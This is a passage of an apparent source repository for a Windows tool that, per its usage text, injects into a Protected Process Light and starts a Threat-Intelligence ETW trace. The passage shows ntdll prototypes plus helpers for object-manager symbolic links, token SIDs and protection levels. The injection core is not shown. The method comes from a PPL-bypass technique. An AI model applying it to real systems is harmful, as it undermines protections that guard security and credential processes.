);\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDuplicateToken(\n    IN HANDLE ExistingTokenHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN BOOLEAN EffectiveOnly,\n    IN TOKEN_TYPE TokenType,\n    OUT PHANDLE NewTokenHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCompareTokens(\n    IN  HANDLE FirstTokenHandle,\n    IN  HANDLE SecondTokenHandle,\n    OUT PBOOLEAN IdenticalTokens\n    );\n\n//-----------------------------------------------------------------------------\n// Token functions available from Windows 8.1\n\n// Token security attribute type\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_INVALID 0x00\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_INT64 0x01\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_UINT64 0x02\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_STRING 0x03\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_FQBN 0x04\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_SID 0x05\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_BOOLEAN 0x06\n#define TOKEN_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING 0x10\n\n// Token security attribute flags\n#define TOKEN_SECURITY_ATTRIBUTE_NON_INHERITABLE 0x0001\n#define TOKEN_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE 0x0002\n#define TOKEN_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY 0x0004\n#define TOKEN_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT 0x0008\n#define TOKEN_SECURITY_ATTRIBUTE_DISABLED 0x0010\n#define TOKEN_SECURITY_ATTRIBUTE_MANDATORY 0x0020\n\ntypedef struct _TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE\n{\n    ULONG64 Version;\n    UNICODE_STRING Name;\n\n} TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE, *PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE;\n\ntypedef struct _TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE\n{\n    PVOID pValue;\n    ULONG ValueLength;\n\n} TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE, *PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE;\n\ntypedef struct _TOKEN_SECURITY_ATTRIBUTE_V1\n{\n    UNICODE_STRING Name;\n    USHORT ValueType;\n    USHORT Reserved;\n    ULONG  Flags;\n    ULONG  ValueCount;\n\n    union\n    {\n        PLONG64 pInt64;\n        PULONG64 pUint64;\n        PUNICODE_STRING pString;\n        PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE pFqbn;\n        PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE pOctetString;\n    } Values;\n\n} TOKEN_SECURITY_ATTRIBUTE_V1, *PTOKEN_SECURITY_ATTRIBUTE_V1;\n\ntypedef struct _TOKEN_SECURITY_ATTRIBUTES_INFORMATION\n{\n    USHORT Version;\n    USHORT Reserved;\n    ULONG AttributeCount;\n\n    union\n    {\n        PTOKEN_SECURITY_ATTRIBUTE_V1 pAttributeV1;\n    } Attribute;\n\n} TOKEN_SECURITY_ATTRIBUTES_INFORMATION, *PTOKEN_SECURITY_ATTRIBUTES_INFORMATION;\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQuerySecurityAttributesToken(\n    IN  HANDLE TokenHandle,\n    IN  PUNICODE_STRING Attributes,\n    IN  ULONG NumberOfAttributes,\n    OUT PVOID Buffer,\n    IN  ULONG Length,\n    OUT PULONG ReturnLength\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwQuerySecurityAttributesToken(\n    IN  HANDLE TokenHandle,\n    IN  PUNICODE_STRING Attributes,\n    IN  ULONG NumberOfAttributes,\n    OUT PVOID Buffer,\n    IN  ULONG Length,\n    OUT PULONG ReturnLength\n    );\n\n//-----------------------------------------------------------------------------\n// Symbolic links\n\n//\n// Object Manager Symbolic Link Specific Access Rights.\n//\n\n#ifndef SYMBOLIC_LINK_QUERY\n#define SYMBOLIC_LINK_QUERY (0x0001)\n#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1)\n#endif\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateDirectoryObjectEx( OUT PHANDLE SymbolicLinkHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ShadowDir, ULONG Something );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateSymbolicLinkObject(\n    OUT PHANDLE SymbolicLinkHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes,\n    IN PUNICODE_STRING DestinationName\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtOpenSymbolicLinkObject (\n    OUT PHANDLE SymbolicLinkHandle,\n    IN ACCESS_MASK DesiredAccess,\n    IN POBJECT_ATTRIBUTES ObjectAttributes\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQuerySymbolicLinkObject (\n    IN HANDLE SymbolicLinkHandle,\n    OUT PUNICODE_STRING NameString,\n    OUT PULONG ResultLength OPTIONAL\n    );\n\n//-----------------------------------------------------------------------------\n// Loader functions\n\nNTSYSAPI\nPIMAGE_NT_HEADERS\nNTAPI\nRtlImageNtHeader(\n    IN PVOID Base\n    );\n\n#define RTL_IMAGE_NT_HEADER_EX_FLAG_NO_RANGE_CHECK (0x00000001)\n#define RTL_IMAGE_NT_HEADER_EX_FLAG_UNKNONW_W10    (0x00000002)     // Used to call RtlImageNtHeaderEx in W10, but never checked\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlImageNtHeaderEx(\n    ULONG Flags,\n    PVOID Base,\n    ULONG64 Size,\n    OUT PIMAGE_NT_HEADERS * OutHeaders\n    );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlImageDirectoryEntryToData(\n    IN PVOID Base,\n    IN BOOLEAN MappedAsImage,\n    IN USHORT DirectoryEntry,\n    OUT PULONG Size\n    );\n\nNTSYSAPI\nPVOID\nNTAPI\nRtlImageRvaToVa(\n    IN PIMAGE_NT_HEADERS NtHeaders,\n    IN PVOID Base,\n    IN ULONG Rva,\n    IN OUT PIMAGE_SECTION_HEADER *LastRvaSection OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrLoadDll(\n    IN PWSTR DllPath OPTIONAL,\n    IN PULONG DllCharacteristics OPTIONAL,\n    IN PUNICODE_STRING DllName,\n    OUT PVOID *DllHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrGetDllHandle(\n    IN PWSTR DllPath OPTIONAL,\n    IN PULONG DllCharacteristics OPTIONAL,\n    IN PUNICODE_STRING DllName,\n    OUT PVOID * DllHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrUnloadDll(\n    IN PVOID DllHandle\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrGetProcedureAddress(\n    IN PVOID DllHandle,\n    IN PANSI_STRING ProcedureName OPTIONAL,\n    IN ULONG ProcedureNumber OPTIONAL,\n    OUT PVOID *ProcedureAddress\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrFindResource_U(\n    IN PVOID DllHandle,\n    IN PULONG_PTR ResourceIdPath,\n    IN ULONG ResourceIdPathLength,\n    OUT PIMAGE_RESOURCE_DATA_ENTRY *ResourceDataEntry\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrAccessResource(\n    IN PVOID DllHandle,\n    IN PIMAGE_RESOURCE_DATA_ENTRY ResourceDataEntry,\n    OUT PVOID *Address OPTIONAL,\n    OUT PULONG Size OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nLdrDisableThreadCalloutsForDll(\n    IN PVOID DllHandle\n    );\n\n//-----------------------------------------------------------------------------\n// Driver functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtLoadDriver(\n    PUNICODE_STRING DriverServiceName\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwLoadDriver(\n    PUNICODE_STRING DriverServiceName\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtUnloadDriver(\n    PUNICODE_STRING DriverServiceName\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nZwUnloadDriver(\n    PUNICODE_STRING DriverServiceName\n    );\n\n//-----------------------------------------------------------------------------\n// Functions dealing with NTSTATUS and Win32 error\n\ntypedef enum _HARDERROR_RESPONSE_OPTION\n{\n    OptionAbortRetryIgnore,\n    OptionOk,\n    OptionOkCancel,\n    OptionRetryCancel,\n    OptionYesNo,\n    OptionYesNoCancel,\n    OptionShutdownSystem\n\n} HARDERROR_RESPONSE_OPTION, *PHARDERROR_RESPONSE_OPTION;\n\ntypedef enum _HARDERROR_RESPONSE\n{\n    ResponseReturnToCaller,\n    ResponseNotHandled,\n    ResponseAbort,\n    ResponseCancel,\n    ResponseIgnore,\n    ResponseNo,\n    ResponseOk,\n    ResponseRetry,\n    ResponseYes\n\n} HARDERROR_RESPONSE, *PHARDERROR_RESPONSE;\n\nNTSYSAPI\nULONG\nNTAPI\nRtlNtStatusToDosError(\n    NTSTATUS Status\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlNtStatusToDosErrorNoTeb(\n    NTSTATUS Status\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetLastNtStatus(\n    );\n\nNTSYSAPI\nULONG\nNTAPI\nRtlGetLastWin32Error(\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSetLastWin32Error(\n    ULONG WinError\n    );\n\nNTSYSAPI\nVOID\nNTAPI\nRtlSetLastWin32ErrorAndNtStatusFromNtStatus(\n    NTSTATUS Status\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtRaiseHardError(\n    IN  NTSTATUS ErrorStatus,\n    IN  ULONG NumberOfParameters,\n    IN  PUNICODE_STRING UnicodeStringParameterMask OPTIONAL,\n    IN  PVOID * Parameters,\n    IN  HARDERROR_RESPONSE_OPTION ResponseOption,\n    OUT PHARDERROR_RESPONSE Response\n    );\n\n//-----------------------------------------------------------------------------\n// Other functions\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtContinue(\n    IN PCONTEXT Context,\n    IN BOOLEAN Alertable\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtTestAlert(\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtQueryPerformanceCounter(\n    OUT PLARGE_INTEGER PerformanceCounter,\n    OUT PLARGE_INTEGER PerformanceFrequency OPTIONAL\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtAllocateLocallyUniqueId(\n    OUT PLUID LocallyUniqueId\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDelayExecution(\n    IN BOOLEAN Alertable,\n    IN PLARGE_INTEGER DelayInterval\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtDisplayString(\n    IN PUNICODE_STRING String\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetVersion(\n    PRTL_OSVERSIONINFOW lpVersionInformation\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nRtlGetCurrentDirectory_U(\n    ULONG nBufferLength,\n    PWSTR lpBuffer\n    );\n\nNTSYSAPI\nNTSTATUS\nNTAPI\nNtCreateTransaction(\n    PHANDLE            TransactionHandle,\n    ACCESS_MASK        DesiredAccess,\n    POBJECT_ATTRIBUTES ObjectAttributes,\n    LPGUID             Uow,\n    HANDLE             TmHandle,\n    ULONG              CreateOptions,\n    ULONG              IsolationLevel,\n    ULONG              IsolationFlags,\n    PLARGE_INTEGER     Timeout,\n    PUNICODE_STRING    Description\n);\n\n#ifdef __cplusplus\n} // extern \"C\"\n#endif\n\n#endif // __NTDLL_H__\n"
  },
  {
    "path": "PPLdump/resource.h",
    "content": "//{{NO_DEPENDENCIES}}\n// Microsoft Visual C++ generated include file.\n// Used by PPLdump.rc\n//\n\n#define IDR_RCDATA1                     103\n\n// Next default values for new objects\n// \n#ifdef APSTUDIO_INVOKED\n#ifndef APSTUDIO_READONLY_SYMBOLS\n#define _APS_NEXT_RESOURCE_VALUE        106\n#define _APS_NEXT_COMMAND_VALUE         40001\n#define _APS_NEXT_CONTROL_VALUE         1001\n#define _APS_NEXT_SYMED_VALUE           101\n#endif\n#endif\n"
  },
  {
    "path": "PPLdump/utils.cpp",
    "content": "#include \"utils.h\"\n\nBOOL ParseArguments(int argc, wchar_t* argv[])\n{\n\tBOOL bReturnValue = TRUE;\n\tBOOL bHelp = FALSE;\n\n\t// Parse options\n\twhile ((argc > 1) && (argv[1][0] == '-'))\n\t{\n\t\tswitch (argv[1][1])\n\t\t{\n\t\tcase 'h':\n\t\t\tbReturnValue = FALSE;\n\t\t\tbHelp = TRUE;\n\t\t\tbreak;\n\t\tcase 'v':\n\t\t\tg_bVerbose = TRUE;\n\t\t\tbreak;\n\t\tcase 'd':\n\t\t\tg_bVerbose = TRUE;\n\t\t\tg_bDebug = TRUE;\n\t\t\tbreak;\n\t\tcase 'f':\n\t\t\tg_bForce = TRUE;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\twprintf(L\"[-] Invalid option: %ws\\n\", argv[1]);\n\t\t\tbReturnValue = FALSE;\n\t\t}\n\t\t++argv;\n\t\t--argc;\n\t}\n\n\tif (bHelp)\n\t{\n\t\tPrintUsage();\n\t\treturn FALSE;\n\t}\n\n\treturn bReturnValue;\n}\n\nVOID PrintArguments()\n{\n\tPrintVerbose(L\"Verbose=%d | Debug=%d | Force=%d\", g_bVerbose, g_bDebug, g_bForce);\n}\n\nVOID PrintUsage()\n{\n\twprintf(\n\t   L\"  ___                   ___  \\n\"\n\t\t\" (o o)                 (o o) \\n\"\n\t\t\"(  V  ) Sealighter TI (  V  )     version %ws\\n\"\n\t\t\"--m-m-------------------m-m--     by %ws\\n\"\n\t\t\"                              (Original PPLDump by %ws)\\n\"\t\t\t\t\t\t\t\n\t\t\"Description:\\n\"\n\t\t\"  Inject into a PPL Process and Start an ETW Trace for the\\n\"\n\t\t\"  Microsoft-Windows-Threat-Intelligence Provider\\n\"\n\t\t\"\\n\",\n\t\tVERSION,\n\t\tAUTHOR,\n\t\tAUTHOR_ORIG\n\t);\n\n\twprintf(\n\t\tL\"Usage: \\n\"\n\t\t\"  SealighterTI.exe [-v] [-d] [-f]\\n\"\n\t\t\"\\n\"\n\t);\n\n\twprintf(\n\t\tL\"Options:\\n\"\n\t\t\"  -v         (Verbose) Enable verbose mode\\n\"\n\t\t\"  -d         (Debug) Enable debug mode (implies verbose)\\n\"\n\t\t\"  -f         (Force) Bypass DefineDosDevice error check\\n\"\n\t\t\"\\n\"\n\t);\n\n\twprintf(\n\t\tL\"Examples:\\n\"\n\t\t\"  SealighterTI.exe\\n\"\n\t\t\"  SealighterTI.exe -v -f\\n\"\n\t);\n}\n\nVOID PrintLastError(LPCWSTR pwszFunctionName)\n{\n\tDWORD dwLastError = GetLastError();\n\twprintf(L\"[-] %ws failed with error code %d - %ws\\n\", pwszFunctionName, dwLastError, _com_error(HRESULT_FROM_WIN32(dwLastError)).ErrorMessage());\n}\n\nVOID PrintVerbose(LPCWSTR pwszFormat, ...)\n{\n\tif (g_bVerbose)\n\t{\n\t\tLPWSTR pwszVerboseString = NULL;\n\t\tDWORD dwVerboseStringLen = 0;\n\t\tva_list va;\n\t\tsize_t st_Offset = 0;\n\t\tWCHAR wszUsername[UNLEN + 1] = { 0 };\n\t\tDWORD dwUsernameLen = UNLEN;\n\n\t\tGetUserName(wszUsername, &dwUsernameLen);\n\n\t\tva_start(va, pwszFormat);\n\t\tif (g_bDebug)\n\t\t\tdwVerboseStringLen += _scwprintf(L\"[%ws] \", wszUsername) * sizeof(WCHAR);\n\t\t\n\t\tdwVerboseStringLen += _vscwprintf(pwszFormat, va) * sizeof(WCHAR) + 2;\n\t\tpwszVerboseString = (LPWSTR)LocalAlloc(LPTR, dwVerboseStringLen);\n\n\t\tif (pwszVerboseString)\n\t\t{\n\t\t\tif (g_bDebug)\n\t\t\t\tStringCbPrintf(pwszVerboseString, dwVerboseStringLen, L\"[%ws] \", wszUsername);\n\n\t\t\tif (SUCCEEDED(StringCbLength(pwszVerboseString, dwVerboseStringLen, &st_Offset)))\n\t\t\t{\n\t\t\t\tStringCbVPrintf(&pwszVerboseString[st_Offset / sizeof(WCHAR)], dwVerboseStringLen - st_Offset, pwszFormat, va);\n\n\t\t\t\twprintf(L\"%ws\", pwszVerboseString);\n\t\t\t}\n\n\t\t\tLocalFree(pwszVerboseString);\n\t\t}\n\n\t\tva_end(va);\n\t}\n}\n\nVOID PrintDebug(LPCWSTR pwszFormat, ...)\n{\n\tif (g_bDebug)\n\t{\n\t\tLPWSTR pwszDebugString = NULL;\n\t\tDWORD dwDebugStringLen = 0;\n\t\tva_list va;\n\t\tsize_t st_Offset = 0;\n\t\tWCHAR wszUsername[UNLEN + 1] = { 0 };\n\t\tDWORD dwUsernameLen = UNLEN;\n\n\t\tGetUserName(wszUsername, &dwUsernameLen);\n\n\t\tva_start(va, pwszFormat);\n\t\tdwDebugStringLen += _scwprintf(L\"[DEBUG][%ws] \", wszUsername) * sizeof(WCHAR);\n\t\tdwDebugStringLen += _vscwprintf(pwszFormat, va) * sizeof(WCHAR) + 2;\n\t\tpwszDebugString = (LPWSTR)LocalAlloc(LPTR, dwDebugStringLen);\n\n\t\tif (pwszDebugString)\n\t\t{\n\t\t\tStringCbPrintf(pwszDebugString, dwDebugStringLen, L\"[DEBUG][%ws] \", wszUsername);\n\n\t\t\tif (SUCCEEDED(StringCbLength(pwszDebugString, dwDebugStringLen, &st_Offset)))\n\t\t\t{\n\t\t\t\tStringCbVPrintf(&pwszDebugString[st_Offset / sizeof(WCHAR)], dwDebugStringLen - st_Offset, pwszFormat, va);\n\n\t\t\t\twprintf(L\"%ws\", pwszDebugString);\n\t\t\t}\n\n\t\t\tLocalFree(pwszDebugString);\n\t\t}\n\n\t\tva_end(va);\n\t}\n}\n\nBOOL ProcessGetProtectionLevel(DWORD dwProcessId, PDWORD pdwProtectionLevel)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tHANDLE hProcess = NULL;\n\tPROCESS_PROTECTION_LEVEL_INFORMATION level = { 0 };\n\n\tif (!(hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId)))\n\t{\n\t\tPrintLastError(L\"OpenProcess\");\n\t\tgoto end;\n\t}\n\n\tif (!GetProcessInformation(hProcess, ProcessProtectionLevelInfo, &level, sizeof(level)))\n\t{\n\t\tPrintLastError(L\"GetProcessInformation\");\n\t\tgoto end;\n\t}\n\n\t*pdwProtectionLevel = level.ProtectionLevel;\n\tbReturnValue = TRUE;\n\nend:\n\tif (hProcess)\n\t\tCloseHandle(hProcess);\n\n\treturn bReturnValue;\n}\n\nBOOL ProcessGetProtectionLevelAsString(DWORD dwProcessId, LPWSTR* ppwszProtectionLevel)\n{\n\tBOOL bReturnValue = TRUE;\n\n\tDWORD dwProtectionLevel = 0;\n\tLPCWSTR pwszProtectionName = NULL;\n\n\tif (!ProcessGetProtectionLevel(dwProcessId, &dwProtectionLevel))\n\t\treturn FALSE;\n\n\t*ppwszProtectionLevel = (LPWSTR)LocalAlloc(LPTR, 64 * sizeof(WCHAR));\n\tif (!*ppwszProtectionLevel)\n\t\treturn FALSE;\n\n\tswitch (dwProtectionLevel)\n\t{\n\tcase PROTECTION_LEVEL_WINTCB_LIGHT:\n\t\tpwszProtectionName = L\"PsProtectedSignerWinTcb-Light\";\n\t\tbreak;\n\tcase PROTECTION_LEVEL_WINDOWS:\n\t\tpwszProtectionName = L\"PsProtectedSignerWindows\";\n\t\tbreak;\n\tcase PROTECTION_LEVEL_WINDOWS_LIGHT:\n\t\tpwszProtectionName = L\"PsProtectedSignerWindows-Light\";\n\t\tbreak;\n\tcase PROTECTION_LEVEL_ANTIMALWARE_LIGHT:\n\t\tpwszProtectionName = L\"PsProtectedSignerAntimalware-Light\";\n\t\tbreak;\n\tcase PROTECTION_LEVEL_LSA_LIGHT:\n\t\tpwszProtectionName = L\"PsProtectedSignerLsa-Light\";\n\t\tbreak;\n\tcase PROTECTION_LEVEL_WINTCB:\n\t\tpwszProtectionName = L\"PsProtectedSignerWinTcb\";\n\t\tbreak;\n\tcase PROTECTION_LEVEL_CODEGEN_LIGHT:\n\t\tpwszProtectionName = L\"PsProtectedSignerCodegen-Light\";\n\t\tbreak;\n\tcase PROTECTION_LEVEL_AUTHENTICODE:\n\t\tpwszProtectionName = L\"PsProtectedSignerAuthenticode\";\n\t\tbreak;\n\tcase PROTECTION_LEVEL_PPL_APP:\n\t\tpwszProtectionName = L\"PsProtectedSignerPplApp\";\n\t\tbreak;\n\tcase PROTECTION_LEVEL_NONE:\n\t\tpwszProtectionName = L\"None\";\n\t\tbreak;\n\tdefault:\n\t\tpwszProtectionName = L\"Unknown\";\n\t\tbReturnValue = FALSE;\n\t}\n\n\tStringCchPrintf(*ppwszProtectionLevel, 64, L\"%ws\", pwszProtectionName);\n\t\n\treturn bReturnValue;\n}\n\nBOOL ProcessGetIntegrityLevel(DWORD dwProcessId, PDWORD pdwIntegrityLevel)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tHANDLE hProcess = NULL;\n\tHANDLE hProcessToken = NULL;\n\tPTOKEN_MANDATORY_LABEL pLabel = NULL;\n\tDWORD dwLength = 0;\n\tDWORD dwIntegrityLevel = 0;\n\n\tif (!(hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessId)))\n\t\tgoto end;\n\n\tif (!OpenProcessToken(hProcess, TOKEN_QUERY, &hProcessToken))\n\t\tgoto end;\n\n\tGetTokenInformation(hProcessToken, TokenIntegrityLevel, pLabel, dwLength, &dwLength);\n\tif (GetLastError() != ERROR_INSUFFICIENT_BUFFER)\n\t\tgoto end;\n\n\tpLabel = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, dwLength);\n\tif (!pLabel)\n\t\tgoto end;\n\n\tif (!GetTokenInformation(hProcessToken, TokenIntegrityLevel, pLabel, dwLength, &dwLength))\n\t\tgoto end;\n\n\tdwIntegrityLevel = *GetSidSubAuthority(pLabel->Label.Sid, *GetSidSubAuthorityCount(pLabel->Label.Sid) - 1);\n\t*pdwIntegrityLevel = dwIntegrityLevel;\n\tbReturnValue = TRUE;\n\nend:\n\tif (pLabel)\n\t\tLocalFree(pLabel);\n\tif (hProcessToken)\n\t\tCloseHandle(hProcessToken);\n\tif (hProcess)\n\t\tCloseHandle(hProcess);\n\n\treturn bReturnValue;\n}\n\nBOOL ProcessGetPIDFromName(LPWSTR pwszProcessName, PDWORD pdwProcessId)\n{\n\tBOOL bReturnValue = FALSE;\n\n\tHANDLE hProcessSnap = NULL;\n\tPROCESSENTRY32 pe32 = { 0 };\n\tDWORD dwProcessId = 0;\n\tDWORD dwMatchCount = 0;\n\tBOOL bMatch = FALSE;\n\n\tif ((hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE)\n\t{\n\t\tPrintLastError(L\"CreateToolhelp32Snapshot\");\n\t\tgoto end;\n\t}\n\n\tpe32.dwSize = sizeof(PROCESSENTRY32);\n\n\tif (!Process32First(hProcessSnap, &pe32))\n\t{\n\t\tPrintLastError(L\"Process32First\");\n\t\tgoto end;\n\t}\n\n\tdo\n\t{\n\t\tbMatch = FALSE;\n\n\t\tif (_wcsicmp(pe32.szExeFile, pwszProcessName) == 0)\n\t\t\tbMatch = TRUE;\n\t\telse\n\t\t{\n\t\t\tif (PathCchRemoveExtension(pe32.szExeFile, wcslen(pe32.szExeFile) + 1) == S_OK)\n\t\t\t{\n\t\t\t\tif (_wcsicmp(pe32.szExeFile, pwszProcessName) == 0)\n\t\t\t\t\tbMatch = TRUE;\n\t\t\t}\n\t\t}\n\n\t\tif (bMatch)\n\t\t{\n\t\t\tdwProcessId = pe32.th32ProcessID;\n\t\t\tdwMatchCount++;\n\t\t}\n\n\t} while (Process32Next(hProcessSnap, &pe32));\n\n\tif (dwMatchCount == 0)\n\t{\n\t\twprintf(L\"[-] Failed to find a process that matches the provided name.\\n\");\n\t\tgoto end;\n\t}\n\n\tif (dwMatchCount > 1)\n\t{\n\t\twprintf(L\"[-] Found more than one process that matches the provided name. Please provide a PID instead.\\n\");\n\t\tgoto end;\n\t}\n\n\t*pdwProcessId = dwProcessId;\n\tbReturnValue = TRUE;\n\nend:\n\tif (hProcessSnap)\n\t\tCloseHandle(hProcessSnap);\n\n\treturn bReturnValue;\n}\n\nHANDLE ObjectManagerCreateDirectory(LPCWSTR dirname)\n{\n\tOBJECT_ATTRIBUTES oa = { 0 };\n\tUNICODE_STRING name = { 0 };\n\tHANDLE hDirectory = NULL;\n\tNTSTATUS status = 0;\n\n\tRtlInitUnicodeString(&name, dirname);\n\tInitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n\tstatus = NtCreateDirectoryObjectEx(&hDirectory, DIRECTORY_ALL_ACCESS, &oa, NULL, FALSE);\n\tSetLastError(RtlNtStatusToDosError(status));\n\tif (status != 0)\n\t{\n\t\tPrintLastError(L\"NtCreateDirectoryObjectEx\");\n\t\treturn NULL;\n\t}\n\n\treturn hDirectory;\n}\n\nHANDLE ObjectManagerCreateSymlink(LPCWSTR linkname, LPCWSTR targetname)\n{\n\tOBJECT_ATTRIBUTES oa = { 0 };\n\tUNICODE_STRING name = { 0 };\n\tUNICODE_STRING target = { 0 };\n\tHANDLE hLink = NULL;\n\tNTSTATUS status = 0;\n\n\tRtlInitUnicodeString(&name, linkname);\n\tRtlInitUnicodeString(&target, targetname);\n\tInitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n\tstatus = NtCreateSymbolicLinkObject(&hLink, SYMBOLIC_LINK_ALL_ACCESS, &oa, &target);\n\tSetLastError(RtlNtStatusToDosError(status));\n\tif (status != 0)\n\t{\n\t\tPrintLastError(L\"NtCreateSymbolicLinkObject\");\n\t\treturn NULL;\n\t}\n\n\treturn hLink;\n}\n\nBOOL TokenGetSid(HANDLE hToken, PSID* ppSid)\n{\n\tBOOL bReturnValue = TRUE;\n\tDWORD dwSize = 0;\n\tPTOKEN_USER pTokenUser = NULL;\n\n\tif (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwSize))\n\t{\n\t\tif (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {\n\t\t\tPrintLastError(L\"GetTokenInformation\");\n\t\t\tgoto end;\n\t\t}\n\t}\n\n\tpTokenUser = (PTOKEN_USER)LocalAlloc(LPTR, dwSize);\n\tif (!pTokenUser)\n\t\tgoto end;\n\n\tif (!GetTokenInformation(hToken, TokenUser, pTokenUser, dwSize, &dwSize))\n\t{\n\t\tPrintLastError(L\"GetTokenInformation\");\n\t\tgoto end;\n\t}\n\n\t*ppSid = (PSID)LocalAlloc(LPTR, SECURITY_MAX_SID_SIZE);\n\tif (!*ppSid)\n\t\tgoto end;\n\n\tif (!CopySid(SECURITY_MAX_SID_SIZE, *ppSid, pTokenUser->User.Sid))\n\t{\n\t\tPrintLastError(L\"CopySid\");\n\t\tLocalFree(*ppSid);\n\t\tgoto end;\n\t}\n\n\tbReturnValue = TRUE;\n\nend:\n\tif (pTokenUser)\n\t\tLocalFree(pTokenUser);\n\n\treturn bReturnValue;\n}\n\nBOOL TokenGetSidAsString(HANDLE hToken, LPWSTR* ppwszStringSid)\n{\n\tBOOL bReturnValue = FALSE;\n\tPSID pSid = NULL;\n\n\tif (TokenGetSid(hToken, &pSid))\n\t{\n\t\tif (ConvertSidToStringSid(pSid, ppwszStringSid))\n\t\t{\n\t\t\tbReturnValue = TRUE;\n\t\t}\n\t\tLocalFree(pSid);\n\t}\n\n\treturn bReturnValue;\n}\n\nBOOL TokenCompareSids(PSID pSidA, PSID pSidB)\n{\n\tBOOL bReturnValue = FALSE;\n\tLPWSTR pwszSidA = NULL;\n\tLPWSTR pwszSidB = NULL;\n\n\tif (ConvertSidToStringSid(pSidA, &pwszSidA) && ConvertSidToStringSid(pSidB, &pwszSidB))\n\t{\n\t\tbReturnValue = _wcsicmp(pwszSidA, pwszSidB) == 0;\n\t\tLocalFree(pwszSidA);\n\t\tLocalFree(pwszSidB);\n\t}\n\telse\n\t\tPrintLastError(L\"ConvertSidToStringSid\");\n\n\treturn bReturnValue;\n}\n\nBOOL TokenGetUsername(HANDLE hToken, LPWSTR* ppwszUsername)\n{\n\tBOOL bReturnValue = FALSE;\n\tPSID pSid = NULL;\n\tconst DWORD dwMaxSize = 256;\n\tWCHAR wszUsername[dwMaxSize] = { 0 };\n\tWCHAR wszDomain[dwMaxSize] = { 0 };\n\tDWORD dwMaxUsername = dwMaxSize;\n\tDWORD dwMaxDomain = dwMaxSize;\n\tSID_NAME_USE type;\n\n\tif (!TokenGetSid(hToken, &pSid))\n\t\tgoto end;\n\n\tif (!LookupAccountSid(NULL, pSid, wszUsername, &dwMaxUsername, wszDomain, &dwMaxDomain, &type))\n\t{\n\t\tPrintLastError(L\"LookupAccountSid\");\n\t\tgoto end;\n\t}\n\n\t*ppwszUsername = (LPWSTR)LocalAlloc(LPTR, (dwMaxSize * 2 + 1) * sizeof(WCHAR));\n\tif (!*ppwszUsername)\n\t\tgoto end;\n\n\tStringCchPrintf(*ppwszUsername, 